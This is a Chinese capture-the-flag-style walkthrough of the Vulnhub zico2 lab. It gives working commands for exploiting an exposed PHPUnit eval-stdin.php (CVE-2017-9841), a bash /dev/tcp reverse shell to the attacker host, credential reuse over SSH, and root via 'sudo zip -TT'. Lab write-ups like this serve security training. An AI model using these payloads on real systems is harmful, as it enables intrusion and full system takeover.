1. 靶机背景与靶场环境准备
Vulnhub上的zico2是一台非常典型的Boot2Root靶机,整体难度定在简单到中等之间。和DC系列那种偏综合渗透的靶机不太一样,zico2更偏向Web漏洞利用和Linux提权基本功的考察,没有太多花哨的绕过,但如果不熟悉PHP组件带的历史漏洞和sudo命令的提权姿势,一样会卡住很久。我打这台靶机的时候,前半段在目录扫描上浪费了不少时间,后半段反而是十几分钟就拿下了root。
先说一下环境准备。Vulnhub上的靶机下载下来通常是一个OVA文件,zico2也不例外。拿到ova之后有两种部署方式:一种是VirtualBox直接导入,另一种是VMware里通过ovftool转换一下。我个人习惯用VirtualBox,因为Vulnhub上绝大多数靶机都优先针对VirtualBox做了适配,网络兼容性更好。
导入之后最关键的一步是网络设置。靶机和攻击机必须处于同一个二层网络,推荐使用VirtualBox的“仅主机网络”(Host-Only),Kali攻击机也挂到同一个Host-Only网卡上。很多新手第一次玩Vulnhub,靶机开起来之后扫描不到IP,大概率是网络模式选错了——默认的NAT模式下,VirtualBox会给靶机分配一个内网地址,宿主机和攻击机无法直接访问。切到Host-Only之后,网段一般是192.168.56.0/24,靶机会通过DHCP自动获取一个地址。
提一句,如果用的是VMware,网络适配器选择“仅主机模式”(VMnet1)效果等同。另外有些电脑装了多张虚拟网卡,打靶前先确认Kali和靶机都挂在同一个虚拟网段下,不然待会儿扫描过程中排查网络问题会很痛苦。
准备工作做完后,把靶机开机。zico2默认不会显示登录界面,就是一个黑乎乎的Ubuntu服务器,等一两分钟让它完全启动,然后回到攻击机开始信息收集。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 开局侦察:从IP发现到端口指纹
靶机开机之后,第一步是找到它的IP。在Host-Only网段里用netdiscover扫一下:
bash复制sudo netdiscover -r 192.168.56.0/24
或者用arp-scan:
bash复制sudo arp-scan --local
我当时扫到的是192.168.56.101,具体地址会因环境而变,记住一个原则:Kali自己网卡之外出现的那个活跃IP,就是靶机。
拿到IP后,先做一次快速的端口扫描:
bash复制nmap -sC -sV -p- 192.168.56.101
我的扫描结果里有几点比较关键:
- 22端口开放,运行OpenSSH,说明靶机支持SSH登录
- 80端口开放,Apache 2.4.18,操作系统是Ubuntu 16.04
- 没看到明显的SMB、MySQL对外端口,数据库应该只监听本地回环
nmap的-sC参数会跑一遍默认的漏洞脚本,针对Apache 2.4.18没有扫出特别的东西。这个结果其实很常见:Web应用层的漏洞,nmap默认脚本基本扫不出来,必须手动去Web层面摸。
先访问一下80端口看看主页。页面是一个团队介绍或者作品展示类的静态页面,有banner图、几个栏目、footer信息,整体看不出明显的CMS痕迹。我习惯先查看页面源码,因为在源码里经常能找到注释掉的链接、隐藏的目录提示,甚至直接暴露后台地址。zico2的主页源码我也翻了一遍,当时没发现有用的东西。
顺着这个思路,我先测试了常见的几个敏感路径:/robots.txt、/admin、/phpinfo.php等,都没有实际内容。这个时候就该上目录扫描工具了。这里有个经验:不要一上来就扫大字典,先用dirb的common.txt或者gobuster加几个常见扩展名快速过一遍,效率最高。
bash复制gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
扫出来的结果里,/img、/css这种静态资源目录比较常见,但/vendor这个目录引起了我的注意。在Web根目录下出现/vendor,基本可以断定网站是用PHP写的,且项目里集成了Composer依赖。顺着/vendor往深处翻,PHPUnit组件就出现在视野里。
3. 目录爆破锁定的突破口:vendor与PHPUnit组件
看到/vendor目录后,我直接在浏览器访问了一下:http://192.168.56.101/vendor/,目录列表没有禁用,整个PHPUnit依赖树都暴露出来了。这是一个非常危险的信号——放在Web根目录下的vendor目录一般只有开发环境才会暴露,生产环境要么放在Web目录外,要么通过配置禁止访问。
顺着目录树一路往下走,在/vendor/phpunit/phpunit/src/Util/PHP/目录下看到了一个文件:eval-stdin.php。只要你做过几年的Web渗透,看到“eval-stdin”这个词组就必须敏感起来。这个文件对应的是PHPUnit框架里的一个历史高危漏洞,编号CVE-2017-9841。
简单说一下这个漏洞的成因。PHPUnit是PHP生态里非常常用的单元测试框架,eval-stdin.php原本的作用是从标准输入读取PHP代码并执行,方便开发者在测试过程中动态注入代码。但问题是,这个文件把HTTP POST请求体直接当成了标准输入来处理,而且没有判断请求来源、没有鉴权、没有任何访问限制。也就是说,任何能访问到这个文件的人,POST一段PHP代码过去,服务器就会把它当作PHP代码执行,效果等同于远程代码执行。
在实际环境中,只要某个站点通过Composer安装了PHPUnit,又把/vendor目录部署到了Web根目录下,并且没有删除或保护这个文件,漏洞就存在。这其实是一个很典的“依赖链泄露”问题:业务代码本身没有任何漏洞,但打包发布时把一个本不该出现在生产环境的开发依赖目录带上了。
对于zico2来说,这个文件就是突破口。
先写一个最简单的探针式POC,确认漏洞是否存在:
bash复制curl -s -X POST "http://192.168.56.101/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" \
-d "<?php echo shell_exec('id'); ?>"
如果目标存在漏洞,响应里会返回www-data用户的id信息。我当时看到响应返回了uid=33(www-data)时,整个思路就清晰了:接下来就是通过这个RCE入口反弹一个交互式shell,然后逐步提权。
不过在正式反弹shell之前,我觉得值得提一个判断技巧:不要一上来就弹shell,先用几条简单的命令确认命令执行权限,比如pwd、ls -la /、cat /etc/passwd。一方面可以验证命令执行是否通畅,另一方面也能提前感知目标环境的限制(比如是否禁用了某些函数、是否运行在disable_functions环境下)。zico2的环境比较干净,这些都没限制,所以直接进入反弹shell环节。
4. CVE-2017-9841实战:一段POST打穿Web服务
反弹Shell的原理不复杂:让目标服务器主动往攻击机的某个端口发起TCP连接,然后在攻击机上用监听工具接住这个连接,得到一个交互式Shell。
首先在Kali上开启监听:
bash复制nc -lvnp 4444
注意,这里的监听IP就是Kali的Host-Only网卡地址,端口随意选一个不容易冲突的。
然后通过eval-stdin.php发送反弹Shell的payload。这里有个小细节:如果在命令行里直接拼接bash的反弹命令,很容易因为引号嵌套、特殊字符转义导致payload发送失败。我用的是curl的--data-urlencode参数,让curl自动对POST数据进行URL编码,避免引号把命令搞坏。
bash复制curl -s -X POST "http://192.168.56.101/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" \
--data-urlencode "<?php system('bash -c \"bash -i >& /dev/tcp/192.168.56.1/4444 0>&1\"'); ?>"
这里192.168.56.1是VirtualBox Host-Only网络的宿主机网关地址,在多数配置下也就是Kali虚拟机的地址。如果你用的网段不是这个,记得改成自己Kali的实际IP。
发送之后,Kali的nc窗口会立刻收到一个来自靶机的连接,并且返回一个www-data身份的bash shell。但此时的Shell非常脆弱:没有完整的PTY终端,Tab补全和方向键都不能用,甚至执行sudo这类交互命令都成问题。所以拿到Web权限后的第一件事,不是急着找flag,而是先升级成标准终端:
bash复制python3 -c 'import pty; pty.spawn("/bin/bash")'
建议直接写成一行,避免卡在python版本不对的问题上。升级成PTY之后,先看一眼当前目录和用户身份:
bash复制id
pwd
ls -la
到这里,RCE阶段就算搞定了。整个攻击链的前半部分依赖的其实就是一个被错误部署的PHPUnit组件,攻击成本极低,但危害极大。这个案例也很适合用来排查自己的Web项目:无论什么时候,依赖目录、备份文件、安装脚本这类文件都不应该暴露在Web根目录下。
5. 从低权限到zico:数据库凭据复用与SSH登录
拿到www-data权限之后的任务很明确:横向移动,拿下普通用户权限,然后再想办法提权到root。这一步最核心的工作是信息收集,尤其是寻找配置文件、源码里的敏感信息、数据库连接凭据等。
先看一下网站根目录下的文件结构:
bash复制ls -la /var/www/html
然后顺着Web目录查找后缀为.php、.conf、.ini、.txt的文件,特别留意名字里带有db、config、setting、backup字样的文件。在zico2里,我注意到/home目录下有个用户zico,而且这个目录对www-data是可读的:
bash复制ls -la /home/zico
这个目录下有几个有意思的文件:db.php、todo.txt,还有一个.ssh目录。管理员的习惯很差,但对我们这种攻击者来说是好事——数据库凭据和SSH密钥都放在自己的家目录里,且没有对权限做严格限制。
先看db.php:
bash复制cat /home/zico/db.php
里面是典型的mysqli连接代码,账号是root,密码是一串明文。我在这里不把密码写出来了,实际操作时你拿到靶机打开文件就能看到。注意,这个密码不只是MySQL的密码,在后面会派上大用场。
看到这种明文密码,第一反应就是“凭据复用”。很多开发者为了方便记忆,会把数据库密码、服务器用户密码、甚至后台管理密码设成同一个。换句话说,这个MySQL的root密码,很可能也是Linux用户zico的系统登录密码。
由于22端口是开放的,直接尝试SSH登录:
bash复制ssh zico@192.168.56.101
输入刚才在db.php里看到的密码,如果运气好,登录成功。zico2这里设计的路线就是这样,不需要花哨的密码猜解,纯粹就是管理员的凭据复用习惯导致的横向突破。登录成功后,还是先看一下当前用户身份和sudo权限。
这一步的教训是:拿到一个明文密码之后,先别急着欢呼,问自己三个问题——这个密码能不能SSH?能不能sudo?能不能切到其他用户?横向移动的核心逻辑永远是“凭据复用”和“密码重用”,这是真实渗透里出场率最高的攻击方式,没有之一。
进入zico用户的Shell之后,执行:
bash复制sudo -l
输出结果会在下一节详细说,在这一刻,整台靶机的最终目的已经暴露得很明显了。
6. 最后一公里:sudo zip命令提权
zico用户的sudo任务列表:
code复制User zico may run the following commands on zico:
(root) NOPASSWD: /usr/bin/zip
意思很明确:zico用户可以在不输入密码的情况下,以root身份执行/usr/bin/zip这个命令。
看到这种sudo配置,第一反应是去GTFOBins上查一下zip有没有对应的sudo逃逸payload。GTFOBins真的是Linux提权神器,它整理了Unix系统上常见二进制文件的利用姿势,只要sudo列表里出现的命令能在GTFOBins上找到条目,基本就是一分钟提权。
zip的利用姿势也很经典。原理是zip命令的-T参数用来测试压缩包完整性,测试时会调用系统默认的unzip或者-t指定的命令,而-TT参数可以覆盖这个测试命令。也就是说,当zip以root权限运行时,如果执行了-TT指定的命令,那个命令也会以root权限被执行。payload如下:
bash复制sudo zip /tmp/test.zip /tmp/test -T -TT 'sh #'
这个命令的逻辑是:先创建/tmp/test.zip这个压缩包(内容无所谓),然后通过-T触发测试流程,-TT指定测试时运行的命令为sh。最后的#号把zip命令后面可能追加的参数都注释掉,避免干扰sh的运行。命令执行后,会直接获得一个root权限的sh。
当然,这里用bash会更舒适一些:
bash复制sudo zip /tmp/test.zip /tmp/test -T -TT 'bash #'
执行之后验证一下身份:
bash复制id
返回的结果是uid=0(root) gid=0(root),说明提权成功。接下来直接到/root目录读取root flag即可:
bash复制cat /root/flag.txt
至此整台靶机通关。这里我想多说一句:sudo赋予某个命令的root执行权限,在实际环境中很常见,很多管理员觉得“就一个zip命令给root也没啥大问题”,但配合-t/-TT这类参数后,命令的权限边界会被瞬间击穿。所以生产环境里配置sudo时,一定要通过命令白名单+参数校验(比如sudoedit、sudo的command aliases)严格限制,做到最小权限。
7. 复盘与易踩的坑
整台zico2打下来,路径很清晰:目录扫描发现PHPUnit组件 → CVE-2017-9841 RCE → 反弹Shell → db.php密文泄露 → SSH凭据复用 → sudo zip提权。难度不高,但每一步都踩在一个非常真实的管理员疏忽之上。如果拿它做教学靶机,几乎可以把Web渗透和Linux提权的核心知识全串一遍。
回看这台靶机的打靶过程,有几个坑值得单独记一笔。
第一个坑是目录扫描工具的选择和参数。我一开始用的是dirb的默认字典,虽然也能扫出目录,但速度比较慢。后来换成gobuster并加上-x php,html,txt,效率明显提升。对PHP靶机,扫描时一定要带上扩展名,不然有很多文件会被漏掉。
第二个坑是curl发送POST payload时的引号转义问题。我之前在敲反弹Shell命令时,第一次没有用--data-urlencode,结果命令被本地Shell解析了一半,目标那边什么都没有执行。改用--data-urlencode之后,payload传输就稳定了。这个小细节在真实渗透里很关键,特别是payload比较复杂的时候,尽量用文件方式或者URL编码方式传递,减少引号干扰。
第三个坑是反弹Shell连不上的问题。当时我监听的端口是4444,靶机IP写的是192.168.56.101,但第一次反弹Shell没反应,排查了一下发现我忘了把Kali监听地址改成192.168.56.1,结果payload里的IP还是之前NAT模式下的地址。这里建议动手之前先ifconfig确认一下当前网卡的IP段,别想当然。
第四个坑是拿到Shell之后没有及时升级PTY,导致执行sudo的时候卡在了交互密码输入上。虽然zico2的sudo不需要密码,但在其他靶机上,“python3 -c 'import pty; pty.spawn("/bin/bash")'"这行命令几乎是通用的最优解,建议无条件养成习惯,拿到Shell就先升级终端。
最后再说一点和路线选择有关的体会。打靶这件事,很多人喜欢直接查writeup、对着答案套命令,但我还是建议自己先跑一遍完整的信息收集流程。像zico2这种靶机,Web页面上看不出任何攻击面,如果不对目录结构做足够细致的枚举,可能连PHPUnit这个入口都找不到。而真正的渗透过程,大部分时间也恰恰是在“找入口”这件事上,不是像CTF那样每一题都直接告诉你漏洞点在哪个文件里。把zico2从头到尾独立打一遍,对“侦察 → 漏洞利用 → 提权”这条主线的理解会是质的提升。
